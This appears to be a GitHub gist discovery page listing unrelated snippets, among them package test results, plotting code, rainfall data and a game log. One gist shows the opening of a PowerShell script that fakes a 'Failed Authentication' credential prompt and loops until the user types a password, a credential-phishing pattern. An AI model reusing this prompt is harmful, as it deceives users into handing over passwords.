Skip to content

Instantly share code, notes, and snippets.

@choco-bot
choco-bot / FilesSnapshot.xml
Created February 8, 2025 01:22
resharper-clt.portable v2024.3.5 - Passed - Package Tests Results
<?xml version="1.0" encoding="utf-8"?>
<fileSnapshot xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<files>
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\JetBrains.ReSharper.CommandLineTools.2024.3.5.zip.txt" checksum="302C81DB1B12376E6CD4A76F78E87229" />
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\resharper-clt.portable.nupkg" checksum="CCD106A2C448433979569AE32E96F9B6" />
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\resharper-clt.portable.nuspec" checksum="32E3C1071C14CFC5954102A002DF7055" />
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\tools\antlr.runtime.dll" checksum="219A412376C858428975BE8174121A51" />
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\tools\Appccelerate.StateMachine.dll" checksum="3A1E2DCDD5550976F16F4EE211720DA0" />
<file path="C:\ProgramData\chocolatey\lib\resharper-clt.portable\tools\Appccelerate.StateMa
@johnjosephhorton
johnjosephhorton / student_sample_plot.R
Created February 8, 2025 01:22
Plot of the student sample
library(ggplot2)
library(dplyr)
library(tidyr)
library(gridExtra)
library(purrr)
# Function to compute medians and bootstrap CIs for a single tau value
get_medians <- function(data, simtot = 150, tau = 0.5) {
# Data without errors
data0 <- subset(data, all_errors == 0)
@msfukui
msfukui / matplotlib_sample_code_written_by_gemini
Created February 8, 2025 01:21
Gemini に書いてもらった Matplotlib で書くグラフのサンプル
import matplotlib.pyplot as plt
import pandas as pd
# CSVデータを読み込む
data = """
10:00,たまご,100
10:00,キャベツ,200
10:00,レタス,300
11:00,たまご,100
11:00,キャベツ,200
@forkyau
forkyau / hourly_rainfall_data-2025-02-08|09-00.csv
Created February 8, 2025 01:21
GIST created by python code
id station stationid value unit obstime date
0 流浮山 RF001 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
1 湿地公园 RF002 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
2 水边围 N12 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
3 石岗 RF003 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
4 大美督 RF004 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
5 大埔墟 RF005 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
6 北潭涌 RF006 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
7 滘西洲 RF007 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
8 西贡 N15 0 mm 2025-02-08T09:00:00+08:00 2025-02-08
@tackn03
tackn03 / text.md
Last active February 8, 2025 01:51
website types Primary Conversion Secondary Conversion
Retail (eCommerce) Purchase Create account
Sign up for emails
Pay for premium account
Lead Generation Lead (phone call or from submission) Sign up for emails
Search Engine Booking Click on ads
Sign up for emails
Media Engagement Page views
Video views
Create account
Social Media Create account Content creation
Content interaction
Affiliate Marketing Click affiliate link Purchase
Marketplace Posting items for sale or Making a purchase Create account
@VeryFatBoy
VeryFatBoy / StackOverflow Stats.md
Created February 8, 2025 01:19 — forked from hopeseekr/StackOverflow Stats.md
StackOverflow Dec 2024 stats

Disclaimer: I'm in the Top 1% of StackOverflow contributors with 23,315 rep points.

I asked 1 high-quality question in 2024, and it was closed almost immediately, and I haven't engaged with the site since.

If someone with 20,000+ karma has their nicely-formatted questions closed so quickly, what must the newbies and rank-in-file encounter? This is probably a big reason why it's declining.


@rooootdev
rooootdev / x
Last active February 8, 2025 01:21
Add-Type -AssemblyName System.Windows.Forms
function Get-Creds {
do {
$c = $host.ui.PromptForCredential('Failed Authentication', '', [Environment]::UserDomainName + '\' + [Environment]::UserName, [Environment]::UserDomainName)
$p = $c.GetNetworkCredential().Password
if ([string]::IsNullOrWhiteSpace($p)) {
[System.Windows.Forms.MessageBox]::Show("Credentials cannot be empty!")
} else {
@HugsLibRecordKeeper
HugsLibRecordKeeper / output_log.txt
Created February 8, 2025 01:19
Rimworld output log published using HugsLib
Log uploaded on Saturday, February 8, 2025, 2:19:40 AM
Loaded mods:
Harmony(brrainz.harmony)[mv:2.3.1.0]: 0Harmony(2.3.3), HarmonyMod(2.3.1)
Core(Ludeon.RimWorld): (no assemblies)
Door Mat(dracoix.doormat.r12a): RimWorld-DoorMat(1.0.0)
Vanilla Expanded Framework(OskarPotocki.VanillaFactionsExpanded.Core): 0ModSettingsFramework(1.0.0), 0MultiplayerAPI(av:0.3.0,fv:0.3.0), 0PrepatcherAPI(1.1.1), ExplosiveTrailsEffect(1.0.7140.31563), GraphicCustomization(1.0.0), HeavyWeapons(1.0.0), KCSG(av:1.1.2,fv:24.11.29), MVCF(2.0.0.1), NoCamShakeExplosions(1.0.0), OPToxic(1.0.0), Outposts(av:3.0.0,fv:1.0.0), PipeSystem(av:1.0.1,fv:22.7.29), RecipeInheritance(1.0.1), RRO(1.0.0), SmokingGun(1.0.0), VanillaStorytellersExpanded(1.0.0), VanillaWeaponsExpandedLaser(0.0.0), VFECore(av:1.1.7,fv:1.1.9), VWEMakeshift(1.0.0)
EdB Prepare Carefully(EdB.PrepareCarefully)[mv:1.5.12]: EdBPrepareCarefully(av:1.1.1,fv:1.5.12)
[CP] Rimmu-Nation - Clothing(CP.RimmuNation.Clothing): CPBackpacks(1.0.0)
[KV] Path Avoid(pathavoid.kv.rw)[ov:1.5.0.
[
{
"img": "https://i.ibb.co/VWQtvZX/60aabd6bdce7.jpg",
"name": "اكوا"
},
{
"img":"https://i.ibb.co/s59tTjc/420bcffe0c53.jpg",
"name":"كولي"
},
{
@okaybeydanol
okaybeydanol / nestedKeysPathsWithDepth.ts
Created February 8, 2025 01:16
TypeScript: Extract Nested Object Keys with Depth Limit (With and Without Infer)
/**
* Generates a tuple of numbers from 0 up to (but not including) N.
* Used internally for numeric operations like subtraction.
*
* Example:
* type Numbers = Enumerate<3>; // [0, 1, 2]
*/
type Enumerate<
N extends number,
Acc extends number[] = [],